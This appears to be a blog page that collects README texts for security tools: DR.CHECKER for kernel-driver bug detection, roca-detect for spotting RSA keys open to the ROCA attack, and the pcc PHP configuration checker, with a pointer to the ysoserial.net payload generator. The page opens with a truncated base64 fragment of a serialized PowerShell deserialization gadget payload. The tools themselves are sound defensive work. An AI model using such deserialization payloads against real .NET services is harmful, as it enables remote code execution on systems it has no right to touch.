QogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPE9iaiBSZWZJZD0iMyI+ICYjeEQ7DQogICAgICAgICAgICAgIDxNUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49IkNsYXNzTmFtZSI+UnVuc3BhY2VJbnZva2U1PC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPFMgTj0iTmFtZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPE5pbCBOPSJTZXJ2ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgPEkzMiBOPSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik1pWG1sIj4gJmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSIgJmd0OyZsdDtQUk9QRVJUWSBOQU1FPSJ0ZXN0MSIgVFlQRSA9InN0cmluZyIgJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs=

Contributing
  • Fork it
  • Create your feature branch (git checkout -b my-new-feature)
  • Commit your changes (git commit -am 'Add some feature')
  • Push to the branch (git push origin my-new-feature)
  • Create new Pull Request

Additional Reading


ysoserial.net - Deserialization payload generator for a variety of .NET formatters


DR.CHECKER: A Soundy Vulnerability Detection Tool for Linux Kernel Drivers

Tested on
Ubuntu >= 14.04.5 LTS

1. Setup
The implementation is based on LLVM, specifically LLVM 3.8. We also need tools like c2xml to parse headers.
First, make sure that you have libxml (required for c2xml):
sudo apt-get install libxml2-dev
Next, We have created a single script, which downloads and builds all the required tools.
cd helper_scripts
python setup_drchecker.py --help
usage: setup_drchecker.py [-h] [-b TARGET_BRANCH] [-o OUTPUT_FOLDER]

optional arguments:
  -h, --help        show this help message and exit
  -b TARGET_BRANCH  Branch (i.e. version) of the LLVM to setup. Default:
                    release_38 e.g., release_38
  -o OUTPUT_FOLDER  Folder where everything needs to be setup.
Example:
python setup_drchecker.py -o drchecker_deps
To complete the setup you also need modifications to your local PATH environment variable. The setup script will give you exact changes you need to do.

2. Building
This depends on the successful completion of Setup. We have a single script that builds everything, you are welcome.
cd llvm_analysis
./build.sh

3. Running
This depends on the successful completion of Build. To run DR.CHECKER on kernel drivers, we need to first convert them into llvm bitcode.

3.1 Building kernel
First, we need to have a buildable kernel. Which means you should be able to compile the kernel using regular build setup. i.e., make. We first capture the output of make command, from this output we extract the exact compilation command.

3.1.1 Generating output of make (or makeout.txt)
Just pass V=1 and redirect the output to the file. Example:
make V=1 O=out ARCH=arm64 > makeout.txt 2>&1
NOTE: DO NOT USE MULTIPLE PROCESSES i.e., -j. Running in multi-processing mode will mess up the output file as multiple process try to write to the output file.
That's it. DR.CHECKER will take care from here.

3.2 Running DR.CHECKER analysis
There are several steps to run DR.CHECKER analysis, all these steps are wrapped in a single script helper_scripts/runner_scripts/run_all.py How to run:
python run_all.py --help
usage: run_all.py [-h] [-l LLVM_BC_OUT] [-a CHIPSET_NUM] [-m MAKEOUT] [-g COMPILER_NAME] [-n ARCH_NUM] [-o OUT] [-k KERNEL_SRC_DIR] [-skb] [-skl] [-skp] [-ske] [-ski] [-f SOUNDY_ANALYSIS_OUT]

optional arguments:
  -h, --help            show this help message and exit
  -l LLVM_BC_OUT        Destination directory where all the generated bitcode files should be stored.
  -a CHIPSET_NUM        Chipset number. Valid chipset numbers are:
                        1(mediatek)|2(qualcomm)|3(huawei)|4(samsung)
  -m MAKEOUT            Path to the makeout.txt file.
  -g COMPILER_NAME      Name of the compiler used in the makeout.txt, This is
                        needed to filter out compilation commands. Ex: aarch64-linux-android-gcc
  -n ARCH_NUM           Destination architecture, 32 bit (1) or 64 bit (2).
  -o OUT                Path to the out folder. This is the folder, which
                        could be used as output directory during compiling
                        some kernels. (Note: Not all kernels needs a separate out folder)
  -k KERNEL_SRC_DIR     Base directory of the kernel sources.
  -skb                  Skip LLVM Build (default: not skipped).
  -skl                  Skip Dr Linker (default: not skipped).
  -skp                  Skip Parsing Headers (default: not skipped).
  -ske                  Skip Entry point identification (default: not
                        skipped).
  -ski                  Skip Soundy Analysis (default: not skipped).
  -f SOUNDY_ANALYSIS_OUT    Path to the output folder where the soundy analysis output should be stored.
The script builds, links and runs DR.CHECKER on all the drivers, as such might take considerable time(45 min-90 min). If you want to run DR.CHECKER manually on individual drivers, refer standalone
The above script performs following tasks in a multiprocessor mode to make use of all CPU cores:

3.2.1. LLVM Build
  • Enabled by default.
All the bitcode files generated will be placed in the folder provided to the argument -l. This step takes considerable time, depending on the number of cores you have. So, if you had already done this step, You can skip this step by passing -skb.

3.2.2. Linking all driver bitcode files in s consolidated bitcode file.
  • Enabled by default
This performs linking, it goes through all the bitcode files and identifies the related bitcode files that need to be linked and links them (using llvm-link) in to a consolidated bitcode file (which will be stored along side corresponding bitcode file).
Similar to the above step, you can skip this step by passing -skl.

3.2.3.Parsing headers to identify entry function fields.
  • Enabled by default.
This step looks for the entry point declarations in the header files and stores their configuration in the file: hdr_file_config.txt under LLVM build directory.
To skip: -skp

3.2.4.Identify entry points in all the consolidated bitcode files.
  • Enabled by default
This step identifies all the entry points across all the driver consolidated bitcode files. The output will be stored in file: entry_point_out.txt under LLVM build directory.
Example of contents in the file entry_point_out.txt:
FileRead:hidraw_read:/home/drchecker/33.2.A.3.123/llvm_bc_out/drivers/hid/llvm_link_final/final_to_check.bc
FileWrite:hidraw_write:/home/drchecker/33.2.A.3.123/llvm_bc_out/drivers/hid/llvm_link_final/final_to_check.bc
IOCTL:hidraw_ioctl:/home/drchecker/33.2.A.3.123/llvm_bc_out/drivers/hid/llvm_link_final/final_to_check.bc
To skip: -ske

3.2.5.Run Soundy Analysis on all the identified entry points.
  • Enabled by default.
This step will run DR.CHECKER on all the entry points in the file entry_point_out.txt. The output for each entry point will be stored in the folder provided for option -f.
To skip: -ski

3.2.6 Example:
Now, we will show an example from the point where you have kernel sources to the point of getting vulnerability warnings.
We have uploaded a mediatek kernel 33.2.A.3.123.tar.bz2. First download and extract the above file.
Lets say you extracted the above file in a folder called: ~/mediatek_kernel

3.2.6.1 Building
cd ~/mediatek_kernel
source ./env.sh
cd kernel-3.18
# the following step may not be needed depending on the kernel
mkdir out
make O=out ARCH=arm64 tubads_defconfig
# this following command copies all the compilation commands to makeout.txt
make V=1 -j8 O=out ARCH=arm64 > makeout.txt 2>&1

3.2.6.2 Running DR.CHECKER
cd <repo_path>/helper_scripts/runner_scripts

python run_all.py -l ~/mediatek_kernel/llvm_bitcode_out -a 1 -m ~/mediatek_kernel/kernel-3.18/makeout.txt -g aarch64-linux-android-gcc -n 2 -o ~/mediatek_kernel/kernel-3.18/out -k ~/mediatek_kernel/kernel-3.18 -f ~/mediatek_kernel/dr_checker_out
The above command takes quite some time (30 min - 1hr).

3.2.6.3 Understanding the output
First, all the analysis results will be in the folder: ~/mediatek_kernel/dr_checker_out (argument given to the option -f), for each entry point a .json file will be created which contains all the warnings in JSON format. These json files contain warnings organized by contexts.
Second, The folder ~/mediatek_kernel/dr_checker_out/instr_warnings (w.r.t argument given to the option -f) contains warnings organized by instruction location.
These warnings could be analyzed using our Visualizer.
Finally, a summary of all the warnings for each entry point organized by the type will be written to the output CSV file: ~/mediatek_kernel/dr_checker_out/warnings_stats.csv (w.r.t argument given to the option -f).

3.2.7 Things to note:

3.2.7.1 Value for option -g
To provide value for option -g you need to know the name of the *-gcc binary used to compile the kernel. An easy way to know this would be to grep for gcc in makeout.txt and you will see compiler commands from which you can know the *-gcc binary name.
For our example above, if you do grep gcc makeout.txt for the example build, you will see lot of lines like below:
aarch64-linux-android-gcc -Wp,-MD,fs/jbd2/.transaction.o.d  -nostdinc -isystem ...
So, the value for -g should be aarch64-linux-android-gcc.
If the kernel to be built is 32-bit then the binary most likely will be arm-eabi-gcc

3.2.7.2 Value for option -a
Depeding on the chipset type, you need to provide corresponding number.

3.2.7.3 Value for option -o
This is the path of the folder provided to the option O= for make command during kernel build.
Not all kernels need a separate out path. You may build kernel by not providing an option O, in which case you SHOULD NOT provide value for that option while running run_all.py.

3.3 Visualizing DR.CHECKER results ❄️
We provide a web-based UI to view all the warnings. Please refer Visualization.

3.6 Disabling Vulnerability checkers
You can disable one or more vulnerability checkers by uncommenting the corresponding #define DISABLE_* lines in BugDetectorDriver.cpp

3.5 Post-processing DR.CHECKER results
To your liking, we also provide a script to post-process the results. Check it out.
Have fun!!


DR.CHECKER - A Soundy Vulnerability Detection Tool for Linux Kernel Drivers


This tool is related to ACM CCS 2017 conference paper #124 Return of the Coppersmith’s Attack: Practical Factorization of Widely Used RSA Moduli.

It enables you to test public RSA keys for a presence of the described vulnerability.

Update: The paper of the attack is already online, ACM version.

Currently the tool supports the following key formats:
  • X509 Certificate, DER encoded, one per file, *.der, *.crt
  • X509 Certificate, PEM encoded, more per file, *.pem
  • RSA PEM encoded private key, public key, more per file, *.pem (has to have correct header -----BEGIN RSA...)
  • SSH public key, *.pub, starting with "ssh-rsa", one per line
  • ASC encoded PGP key, *.pgp, *.asc. More per file, has to have correct header -----BEGIN PGP...
  • APK android application, *.apk
  • one modulus per line text file *.txt, modulus can be a) base64 encoded number, b) hex coded number, c) decimal coded number
  • JSON file with moduli, one record per line, record with modulus has key "mod" (int, base64, hex, dec encoding supported) certificate(s) with key "cert" / array of certificates with key "certs" are supported, base64 encoded DER.
  • LDIFF file - LDAP database dump. Any field ending with ";binary::" is attempted to decode as X509 certificate
  • Java Key Store file (JKS). Tries empty password & some common, specify more with --jks-pass-file
  • PKCS7 signature with user certificate
The detection tool is intentionally one-file implementation for easy integration / manipulation.

Pip install
Install with pip (installs all dependencies)
pip install roca-detect

Local install
Execute in the root folder of the package:
pip install --upgrade --find-links=. .

Dependencies
It may be required to install additional dependencies so pip can install e.g. cryptography package.
CentOS / RHEL:
sudo yum install python-devel python-pip gcc gcc-c++ make automake autoreconf libtool openssl-devel libffi-devel dialog
Ubuntu:
sudo apt-get install python-pip python-dev build-essential libssl-dev libffi-dev swig

Usage
To print the basic usage:
# If installed with pip / manually
roca-detect --help

# Without installation (can miss dependencies)
python roca/detect.py
The testing tool accepts multiple file names / directories as the input argument. It returns the report showing how many files has been fingerprinted (and which are those).
Example (no vulnerabilities found):
Running recursively on all my SSH keys and known_hosts:

$> roca-detect ~/.ssh
2017-10-16 13:39:21 [51272] INFO ### SUMMARY ####################
2017-10-16 13:39:21 [51272] INFO Records tested: 92
2017-10-16 13:39:21 [51272] INFO .. PEM certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. DER certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. RSA key files: . 16
2017-10-16 13:39:21 [51272] INFO .. PGP master keys: 0
2017-10-16 13:39:21 [51272] INFO .. PGP total keys:  0
2017-10-16 13:39:21 [51272] INFO .. SSH keys:  . . . 76
2017-10-16 13:39:21 [51272] INFO .. APK keys:  . . . 0
2017-10-16 13:39:21 [51272] INFO .. JSON keys: . . . 0
2017-10-16 13:39:21 [51272] INFO .. LDIFF certs: . . 0
2017-10-16 13:39:21 [51272] INFO .. JKS certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. PKCS7: . . . . . 0
2017-10-16 13:39:21 [51272] INFO No fingerprinted keys found (OK)
2017-10-16 13:39:21 [51272] INFO ################################
Example (vulnerabilities found):
Running recursively on all my SSH keys and known_hosts:

$> roca-detect ~/.ssh
2017-10-16 13:39:21 [51272] WARNING Fingerprint found in the Certificate
...
2017-10-16 13:39:21 [51272] INFO ### SUMMARY ####################
2017-10-16 13:39:21 [51272] INFO Records tested: 92
2017-10-16 13:39:21 [51272] INFO .. PEM certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. DER certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. RSA key files: . 16
2017-10-16 13:39:21 [51272] INFO .. PGP master keys: 0
2017-10-16 13:39:21 [51272] INFO .. PGP total keys:  0
2017-10-16 13:39:21 [51272] INFO .. SSH keys:  . . . 76
2017-10-16 13:39:21 [51272] INFO .. APK keys:  . . . 0
2017-10-16 13:39:21 [51272] INFO .. JSON keys: . . . 0
2017-10-16 13:39:21 [51272] INFO .. LDIFF certs: . . 0
2017-10-16 13:39:21 [51272] INFO .. JKS certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. PKCS7: . . . . . 0
2017-10-16 13:39:21 [51272] INFO Fingerprinted keys found: 1
2017-10-16 13:39:21 [51272] INFO WARNING: Potential vulnerability
2017-10-16 13:39:21 [51272] INFO ################################

PGP key
In order to test your PGP key you can export it from your email client or download it from the PGP key server such as https://pgp.mit.edu/
You can also use gpg command line utility to export your public key:
gpg --armor --export your@email.com > mykey.asc

Advanced use case
Detection tool extracts information about the key which can be displayed:
roca-detect.py --dump --flatten --indent  ~/.ssh/

Advanced installation methods

Virtual environment
It is usually recommended to create a new python virtual environment for the project:
virtualenv ~/pyenv
source ~/pyenv/bin/activate
pip install --upgrade pip
pip install --upgrade --find-links=. .

Separate Python 2.7.13
We tested tool with Python 2.7.13 and it works (see Travis for more info). We have reports saying lower versions (<=2.6) do not work properly so we highly recommend using up to date Python 2.7
Use pyenv to install a new Python version locally if you cannot / don't want to update system Python.
It internally downloads Python sources and installs it to ~/.pyenv.
git clone https://github.com/pyenv/pyenv.git ~/.pyenv
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
exec $SHELL
pyenv install 2.7.13
pyenv local 2.7.13

Python 3
Basic testing routine is quite simple and works with Py3 but the rest of the code that processes the different key formats and extracts the modulus for inspection is not yet fully py3 ready.
We are working on Py3 compatible version.

Docker container
Run via Docker container to avoid environment inconsistency. Dockerfile source can be audited at https://hub.docker.com/r/unnawut/roca-detect/.
docker run --rm -v /path/to/your/keys:/keys --network none unnawut/roca-detect
Make sure to use --rm and --network none flags to disable container's network connection and delete the container after running.

ROC - Infineon RSA Vulnerability


Check current PHP configuration for potential security flaws.
Simply access this file from your webserver or run on CLI.

Author
This software was written by Ben Fuhrmannek, SektionEins GmbH, in an effort to automate php.ini checks and spend more time on cheerful tasks.

Idea
  • one single file for easy distribution
  • simple tests for each security related ini entry
  • a few other tests - not too complicated though
  • compatible with PHP >= 5.4, or if possible >= 5.0
  • NO complicated/overengineered code, e.g. no classes/interfaces, test-frameworks, libraries, ... -> It is supposed to be obvious on first glance - even for novices - how this tool works and what it does!
  • NO (or very few) dependencies

Usage / Installation
  • CLI: Simply call php phpconfigcheck.php. That's it. Add -a to see hidden results as well, -h for HTML output and -j for JSON output.
  • WEB: Copy this script to any directory accessible by your webserver, e.g. your document root. See also 'Safeguards' below.
    The output in non-CLI mode is HTML by default. This behaviour can be changed by setting the environment variable PCC_OUTPUT_TYPE=text or PCC_OUTPUT_TYPE=json.
    Some test cases are hidden by default, specifically skipped, ok and unknown/untested. To show all results, use phpconfigcheck.php?showall=1. This does not apply to JSON output, which returns all results by default.
    To control the output format in WEB mode use phpconfigcheck.php?format=..., where the value of format maybe one of text, html or json. For example: phpconfigcheck.php?format=text. The format parameter takes precedence over PCC_OUTPUT_TYPE.

Safeguards
Most of the time it is a good idea to keep security related issues such as your PHP configuration to yourself. The following safeguards have been implemented:
  • mtime check: This script stops working in non-CLI mode after two days. Re-arming the check can be done by touch phpconfigcheck.php or by copying the script to your server again (e.g. via SCP). This check can be disabled by setting the environment variable: PCC_DISABLE_MTIME=1, e.g. SetEnv PCC_DISABLE_MTIME 1 in apache's .htaccess.
  • source IP check: By default only localhost (127.0.0.1 and ::1) can access this script. Other hosts may be added by setting PCC_ALLOW_IP to a your IP address or a wildcard pattern, e.g. SetEnv PCC_ALLOW_IP 10.0.0.* in .htaccess. You may also choose to access your webserver via SSH Port forwarding, e.g. ssh -D or ssh -L.

Troubleshooting
  • disabled functions: This scripts needs a few functions to work properly, such as ini_get() and stat(). If one of these functions is blacklisted (or not whitelisted) then execution will fail or produce invalid output. In these cases it is possible to temporarily put Suhosin in simulation mode and omit disable_functions. To be on the safe side, relaxed security configuration can be done with .htaccess in a separate directory. Also, this script may be called from command line with your webserver's configuration, e.g. php -n -c /etc/.../php.ini phpconfigcheck.php.
  • CLI: Older PHP versions don't known about SAPI name 'cli' and use CGI style output even on cli. Workaround: PCC_OUTPUT_TYPE=text /opt/php/php-5.1.6/bin/php phpconfigcheck.php

WARNING
This tool will only support you setting up a secure PHP environment. Nothing else. Your setup, software or any related configuration may still be vulnerable, even if this tool's output suggests otherwise.


pcc - PHP Secure Configuration Checker

Subscribe to: Posts (Atom)